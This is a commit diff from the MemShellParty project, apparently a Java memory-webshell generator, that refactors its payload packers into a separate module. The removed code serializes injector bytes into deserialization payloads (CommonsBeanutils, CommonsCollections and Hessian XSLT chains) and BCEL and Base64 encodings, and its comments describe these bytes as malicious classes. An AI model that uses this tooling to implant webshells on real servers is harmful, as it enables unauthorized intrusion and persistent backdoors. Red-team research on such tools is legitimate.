mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
refactor: add packer module
This commit is contained in:
@@ -26,7 +26,7 @@ dependencies {
|
|||||||
exclude(group = "org.apache.tomcat", module = "tomcat-catalina")
|
exclude(group = "org.apache.tomcat", module = "tomcat-catalina")
|
||||||
exclude(group = "commons-logging", module = "commons-logging")
|
exclude(group = "commons-logging", module = "commons-logging")
|
||||||
}
|
}
|
||||||
implementation(project(":deserialize")) {
|
implementation(project(":packer")) {
|
||||||
exclude(group = "commons-logging", module = "commons-logging")
|
exclude(group = "commons-logging", module = "commons-logging")
|
||||||
}
|
}
|
||||||
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
|
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
|
||||||
|
|||||||
@@ -1,11 +1,11 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
|||||||
@@ -7,9 +7,9 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
|
|||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
import com.reajason.javaweb.packer.AggregatePacker;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
import com.reajason.javaweb.packer.jar.JarPacker;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
@@ -30,11 +30,11 @@ public class GeneratorController {
|
|||||||
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
Packer packer = request.getPacker().getInstance();
|
Packer packer = request.getPacker().getInstance();
|
||||||
if (packer instanceof JarPacker) {
|
if (packer instanceof JarPacker) {
|
||||||
return new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult)));
|
return new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
|
||||||
} else if (packer instanceof AggregatePacker) {
|
} else if (packer instanceof AggregatePacker) {
|
||||||
return new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult));
|
return new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
||||||
} else {
|
} else {
|
||||||
return new GenerateResponse(generateResult, packer.pack(generateResult));
|
return new GenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,8 +1,8 @@
|
|||||||
package com.reajason.javaweb.boot.dto;
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
|
|||||||
+2
-2
@@ -7,12 +7,12 @@ tasks.register("publishAllToMavenCentral") {
|
|||||||
val isSnapshot = rootProject.version.toString().endsWith("-SNAPSHOT")
|
val isSnapshot = rootProject.version.toString().endsWith("-SNAPSHOT")
|
||||||
if (isSnapshot) {
|
if (isSnapshot) {
|
||||||
dependsOn(":memshell-party-common:publishAllPublicationsToMavenCentralRepository")
|
dependsOn(":memshell-party-common:publishAllPublicationsToMavenCentralRepository")
|
||||||
dependsOn(":deserialize:publishAllPublicationsToMavenCentralRepository")
|
dependsOn(":packer:publishAllPublicationsToMavenCentralRepository")
|
||||||
dependsOn(":memshell:publishAllPublicationsToMavenCentralRepository")
|
dependsOn(":memshell:publishAllPublicationsToMavenCentralRepository")
|
||||||
dependsOn(":generator:publishAllPublicationsToMavenCentralRepository")
|
dependsOn(":generator:publishAllPublicationsToMavenCentralRepository")
|
||||||
} else {
|
} else {
|
||||||
dependsOn(":memshell-party-common:publishAndReleaseToMavenCentral")
|
dependsOn(":memshell-party-common:publishAndReleaseToMavenCentral")
|
||||||
dependsOn(":deserialize:publishAndReleaseToMavenCentral")
|
dependsOn(":packer:publishAndReleaseToMavenCentral")
|
||||||
dependsOn(":memshell:publishAndReleaseToMavenCentral")
|
dependsOn(":memshell:publishAndReleaseToMavenCentral")
|
||||||
dependsOn(":generator:publishAndReleaseToMavenCentral")
|
dependsOn(":generator:publishAndReleaseToMavenCentral")
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,12 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
import lombok.Data;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/13
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
public class DeserializeConfig {
|
|
||||||
private PayloadType payloadType;
|
|
||||||
}
|
|
||||||
-24
@@ -1,24 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
import com.caucho.hessian.io.Hessian2Output;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/19
|
|
||||||
*/
|
|
||||||
public class Hessian2DeserializeGenerator {
|
|
||||||
@SneakyThrows
|
|
||||||
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
|
|
||||||
PayloadType payloadType = config.getPayloadType();
|
|
||||||
Object obj = payloadType.getPayload().generate(bytes, className);
|
|
||||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
||||||
Hessian2Output hessian2Output = new Hessian2Output(bos);
|
|
||||||
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
|
|
||||||
hessian2Output.writeObject(obj);
|
|
||||||
hessian2Output.close();
|
|
||||||
return bos.toByteArray();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-24
@@ -1,24 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
import com.caucho.hessian.io.HessianOutput;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/19
|
|
||||||
*/
|
|
||||||
public class HessianDeserializeGenerator {
|
|
||||||
@SneakyThrows
|
|
||||||
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
|
|
||||||
PayloadType payloadType = config.getPayloadType();
|
|
||||||
Object obj = payloadType.getPayload().generate(bytes, className);
|
|
||||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
||||||
HessianOutput hessianOutput = new HessianOutput(bos);
|
|
||||||
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
|
|
||||||
hessianOutput.writeObject(obj);
|
|
||||||
hessianOutput.close();
|
|
||||||
return bos.toByteArray();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-25
@@ -1,25 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
import java.io.ObjectOutputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/13
|
|
||||||
*/
|
|
||||||
public class JavaDeserializeGenerator {
|
|
||||||
|
|
||||||
@SneakyThrows
|
|
||||||
public static byte[] generate(byte[] bytes, DeserializeConfig config) {
|
|
||||||
PayloadType payloadType = config.getPayloadType();
|
|
||||||
Object obj = payloadType.getPayload().generate(bytes);
|
|
||||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
|
||||||
ObjectOutputStream oos = new ObjectOutputStream(baos);
|
|
||||||
oos.writeObject(obj);
|
|
||||||
oos.flush();
|
|
||||||
oos.close();
|
|
||||||
return baos.toByteArray();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,28 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/13
|
|
||||||
*/
|
|
||||||
public interface Payload {
|
|
||||||
/**
|
|
||||||
* 将恶意类字节流封装成序列化对象
|
|
||||||
*
|
|
||||||
* @param bytes 恶意类字节流
|
|
||||||
* @return 序列化对象
|
|
||||||
*/
|
|
||||||
default Object generate(byte[] bytes) {
|
|
||||||
throw new UnsupportedOperationException();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 将恶意类字节流封装成序列化对象
|
|
||||||
*
|
|
||||||
* @param bytes 恶意类字节流
|
|
||||||
* @param className 恶意类名
|
|
||||||
* @return 序列化对象
|
|
||||||
*/
|
|
||||||
default Object generate(byte[] bytes, String className) {
|
|
||||||
throw new UnsupportedOperationException();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,47 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
|
|
||||||
import com.reajason.javaweb.deserialize.payload.java.*;
|
|
||||||
import lombok.Getter;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/13
|
|
||||||
*/
|
|
||||||
@Getter
|
|
||||||
public enum PayloadType {
|
|
||||||
/**
|
|
||||||
* CB 链
|
|
||||||
*/
|
|
||||||
CommonsBeanutils16(new CommonsBeanutils16()),
|
|
||||||
CommonsBeanutils18(new CommonsBeanutils18()),
|
|
||||||
CommonsBeanutils19(new CommonsBeanutils19()),
|
|
||||||
CommonsBeanutils110(new CommonsBeanutils110()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* CC 链
|
|
||||||
*/
|
|
||||||
CommonsCollections3(new CommonCollections3()),
|
|
||||||
CommonsCollections4(new CommonCollections4()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Hessian XSLT write
|
|
||||||
*/
|
|
||||||
XSLTScriptEngine(new XSLTScriptEngine())
|
|
||||||
;
|
|
||||||
|
|
||||||
private final Payload payload;
|
|
||||||
|
|
||||||
PayloadType(Payload payload) {
|
|
||||||
this.payload = payload;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static PayloadType getPayloadType(String payloadType) {
|
|
||||||
for (PayloadType value : values()) {
|
|
||||||
if (value.name().equals(payloadType)) {
|
|
||||||
return value;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
throw new IllegalArgumentException("unknown payload type: " + payloadType);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -28,8 +28,7 @@ tasks.test {
|
|||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation(project(":memshell-party-common"))
|
implementation(project(":memshell-party-common"))
|
||||||
implementation(project(":deserialize"))
|
implementation(project(":packer"))
|
||||||
|
|
||||||
implementation(project(":memshell"))
|
implementation(project(":memshell"))
|
||||||
implementation(libs.bundles.jna)
|
implementation(libs.bundles.jna)
|
||||||
implementation(libs.javax.servlet.api)
|
implementation(libs.javax.servlet.api)
|
||||||
|
|||||||
@@ -1,11 +1,14 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Builder;
|
import lombok.Builder;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
import lombok.NoArgsConstructor;
|
import lombok.NoArgsConstructor;
|
||||||
|
|
||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -44,4 +47,28 @@ public class GenerateResult {
|
|||||||
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
|
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public JarPackerConfig toJarPackerConfig() {
|
||||||
|
JarPackerConfig jarPackerConfig = new JarPackerConfig();
|
||||||
|
jarPackerConfig.setMainClassName(injectorClassName);
|
||||||
|
Map<String, byte[]> bytes = new HashMap<>();
|
||||||
|
bytes.put(shellClassName, shellBytes);
|
||||||
|
bytes.put(injectorClassName, injectorBytes);
|
||||||
|
if (injectorInnerClassBytes != null) {
|
||||||
|
bytes.putAll(injectorInnerClassBytes);
|
||||||
|
}
|
||||||
|
jarPackerConfig.setClassBytes(bytes);
|
||||||
|
return jarPackerConfig;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ClassPackerConfig toClassPackerConfig() {
|
||||||
|
ClassPackerConfig classPackerConfig = new ClassPackerConfig();
|
||||||
|
classPackerConfig.setClassName(injectorClassName);
|
||||||
|
classPackerConfig.setClassBytes(injectorBytes);
|
||||||
|
classPackerConfig.setClassBytesBase64Str(injectorBytesBase64Str);
|
||||||
|
if (shellConfig != null) {
|
||||||
|
classPackerConfig.setByPassJavaModule(shellConfig.needByPassJavaModule());
|
||||||
|
}
|
||||||
|
return classPackerConfig;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,17 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import org.apache.bcel.classfile.Utility;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/19
|
|
||||||
*/
|
|
||||||
public class BCELPacker implements Packer {
|
|
||||||
@Override
|
|
||||||
@SneakyThrows
|
|
||||||
public String pack(GenerateResult generateResult) {
|
|
||||||
return "$$BCEL$$" + Utility.encode(generateResult.getInjectorBytes(), true);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/11/26
|
|
||||||
*/
|
|
||||||
public interface Packer {
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 将生成的内存马打包成指定格式
|
|
||||||
*
|
|
||||||
* @param generateResult 生成的内存马信息
|
|
||||||
* @return 字符串 payload
|
|
||||||
*/
|
|
||||||
default String pack(GenerateResult generateResult) {
|
|
||||||
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,10 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.base64;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/17
|
|
||||||
*/
|
|
||||||
public class Base64Packer implements AggregatePacker {
|
|
||||||
}
|
|
||||||
-17
@@ -1,17 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.base64;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/17
|
|
||||||
*/
|
|
||||||
public class DefaultBase64Packer implements Packer {
|
|
||||||
@Override
|
|
||||||
public String pack(GenerateResult generateResult) {
|
|
||||||
return Base64.getEncoder().encodeToString(generateResult.getInjectorBytes());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-20
@@ -1,20 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.base64;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/1/22
|
|
||||||
*/
|
|
||||||
public class GzipBase64Packer implements Packer {
|
|
||||||
@Override
|
|
||||||
@SneakyThrows
|
|
||||||
public String pack(GenerateResult generateResult) {
|
|
||||||
return Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(generateResult.getInjectorBytes()));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-11
@@ -1,11 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/20
|
|
||||||
*/
|
|
||||||
public class Hessian2Packer implements AggregatePacker {
|
|
||||||
|
|
||||||
}
|
|
||||||
-25
@@ -1,25 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
|
||||||
import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator;
|
|
||||||
import com.reajason.javaweb.deserialize.PayloadType;
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/20
|
|
||||||
*/
|
|
||||||
public class Hessian2XSLTScriptEnginePacker implements Packer {
|
|
||||||
@Override
|
|
||||||
public String pack(GenerateResult generateResult) {
|
|
||||||
byte[] injectorBytes = generateResult.getInjectorBytes();
|
|
||||||
String injectorClassName = generateResult.getInjectorClassName();
|
|
||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
|
||||||
deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
|
|
||||||
byte[] generate = Hessian2DeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
|
|
||||||
return Base64.getEncoder().encodeToString(generate);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-11
@@ -1,11 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/20
|
|
||||||
*/
|
|
||||||
public class HessianPacker implements AggregatePacker {
|
|
||||||
|
|
||||||
}
|
|
||||||
-26
@@ -1,26 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
|
||||||
import com.reajason.javaweb.deserialize.HessianDeserializeGenerator;
|
|
||||||
import com.reajason.javaweb.deserialize.PayloadType;
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/20
|
|
||||||
*/
|
|
||||||
public class HessianXSLTScriptEnginePacker implements Packer {
|
|
||||||
@Override
|
|
||||||
public String pack(GenerateResult generateResult) {
|
|
||||||
byte[] injectorBytes = generateResult.getInjectorBytes();
|
|
||||||
String injectorClassName = generateResult.getInjectorClassName();
|
|
||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
|
||||||
deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
|
|
||||||
byte[] generate = HessianDeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
|
|
||||||
return Base64.getEncoder().encodeToString(generate);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-27
@@ -1,27 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
|
||||||
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
|
|
||||||
import com.reajason.javaweb.deserialize.PayloadType;
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/17
|
|
||||||
*/
|
|
||||||
public class CommonsBeanutils110Packer implements Packer {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
@SneakyThrows
|
|
||||||
public String pack(GenerateResult generateResult) {
|
|
||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
|
||||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils110);
|
|
||||||
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-27
@@ -1,27 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
|
||||||
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
|
|
||||||
import com.reajason.javaweb.deserialize.PayloadType;
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/17
|
|
||||||
*/
|
|
||||||
public class CommonsBeanutils16Packer implements Packer {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
@SneakyThrows
|
|
||||||
public String pack(GenerateResult generateResult) {
|
|
||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
|
||||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils16);
|
|
||||||
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-27
@@ -1,27 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
|
||||||
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
|
|
||||||
import com.reajason.javaweb.deserialize.PayloadType;
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/17
|
|
||||||
*/
|
|
||||||
public class CommonsBeanutils18Packer implements Packer {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
@SneakyThrows
|
|
||||||
public String pack(GenerateResult generateResult) {
|
|
||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
|
||||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils18);
|
|
||||||
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-25
@@ -1,25 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
|
||||||
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
|
|
||||||
import com.reajason.javaweb.deserialize.PayloadType;
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/17
|
|
||||||
*/
|
|
||||||
public class CommonsBeanutils19Packer implements Packer {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
@SneakyThrows
|
|
||||||
public String pack(GenerateResult generateResult) {
|
|
||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
|
||||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
|
|
||||||
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-27
@@ -1,27 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
|
||||||
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
|
|
||||||
import com.reajason.javaweb.deserialize.PayloadType;
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/17
|
|
||||||
*/
|
|
||||||
public class CommonsCollections3Packer implements Packer {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
@SneakyThrows
|
|
||||||
public String pack(GenerateResult generateResult) {
|
|
||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
|
||||||
deserializeConfig.setPayloadType(PayloadType.CommonsCollections3);
|
|
||||||
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-27
@@ -1,27 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
|
||||||
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
|
|
||||||
import com.reajason.javaweb.deserialize.PayloadType;
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/17
|
|
||||||
*/
|
|
||||||
public class CommonsCollections4Packer implements Packer {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
@SneakyThrows
|
|
||||||
public String pack(GenerateResult generateResult) {
|
|
||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
|
||||||
deserializeConfig.setPayloadType(PayloadType.CommonsCollections4);
|
|
||||||
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-11
@@ -1,11 +0,0 @@
|
